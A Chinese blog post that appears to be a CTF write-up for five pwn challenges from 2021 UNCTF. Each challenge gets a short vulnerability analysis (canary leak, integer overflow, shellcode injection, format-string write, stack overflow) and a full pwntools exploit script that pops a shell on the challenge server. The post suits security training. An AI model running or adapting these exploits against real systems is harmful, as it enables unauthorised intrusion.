2021 UNCTF pwn

fo

检查保护机制,开启了栈不可执行和canary

查看伪代码

第一次输入目的是泄露canary 第二次泄露栈溢出到后门函数

由于是64位程序计算canary的偏移应为(0x60-0x8)/8+6=17

代码如下

from pwn import *
p=remote('node2.hackingfor.fun',32748)
p.sendlineafter('tell me,will you?\n','%17$p')
p.recvline()
canary=p.recvline()
pay=b'a'*(0x60-8)+p64(int(canary,16))+b'a'*(0x8)+p64(0x40080D)
p.sendline(pay)
p.interactive()

magic_int

只开了栈不可执行保护

来看伪代码

第一步需要达到条件进入EDG函数 注意到v4 为int整型

范围是-2147483648~2147483647,故我们只需输入2147483648即可满足

函数内给了我们一次任意长度输入机会利用这个点而且在rodata段有/bin/sh,只需进行栈溢出跳到system函数即可

代码如下

from pwn import *
rdi=0x4008a3
binsh=0x400967
system=0x4005D0
p=remote('node2.hackingfor.fun',30841)
p.send('2147483648')
sleep(1)
pay1=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(system)
p.send(pay1)
p.interactive()

sc

连NX都没开,真是友好

来看伪代码

跟进read_shell_code函数

shellcode长度未做限制,用pwntool生成即可

我们只需先写入shellcode到bss段,再通过最后一个read函数栈溢出即可

代码如下

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=remote('node2.hackingfor.fun',30885)
p.sendlineafter('show me your Migic\n',shellcode)
pay=b'a'*(0x10+8)+p64(0x601080)
p.sendlineafter('Have you finished?\n',pay)
p.interactive()

ezfsb

来看伪代码

跟进check函数

题目虽然没开canary但是自己手工整了个检查机制,用格式化字符串漏洞写入即可

跟进vuln函数

又是一个对code处的检查,于是我们利用第二个格式化字符串漏洞写入(询问大佬发现第一步即可一步到位,所以第二个printf其实是没必要的)

payload=p32(0x0804a04c+1)+p32(0x0804a050)+b'%9c%5$hhn'+b'%241c%6$hhn

最后利用read栈溢出构造rop链,先调用read往bss段上写入/bin/sh,再调用system

代码如下

from pwn import *
elf=ELF('./ezfbs')
p=remote('node2.hackingfor.fun',37321)
bss=0x0804A050
pay1=b'aa%7$hna'+p32(0x0804A050) #此处hn后的a是为了对齐
p.sendlineafter('canary is hard!\n',pay1)
sleep(1)
p.send(fmtstr_payload(6,{0x0804A04C:5000}))
sleep(1)
pay2=b'a'*(0x74+4)+p32(elf.plt['read'])+p32(elf.plt['system'])+p32(0)+p32(bss)+p32(0x7)+p32(bss)
p.recvuntil('good!\n')
p.send(pay2)
sleep(1)
p.send('/bin/sh')
p.interactive()

magic_abs

查看伪代码

跟进record函数

此处利用第一次的read输入长度不够,通过record中的memcpy栈溢出调用后门函数

注意到若进入record此处a4必为1,故我们需要控制a3的值

根据前面的随机数生成进行控制即可使得a3=0

注意此处不能使位操作前的数字溢出为负数否则移位后必为负数

代码如下

from pwn import *
present=0x4009D7
p=remote('node2.hackingfor.fun',37136)
pay1=b'a'*(0x10+8)+p64(present)
p.sendlineafter('name?\n',pay1)
p.sendlineafter('Tell me your a g e:\n','31')
p.sendlineafter('number?\n','2147483647-32')
p.interactive()
posted @ 2021-12-10 20:00  hash_hash  阅读(101)  评论(0)    收藏  举报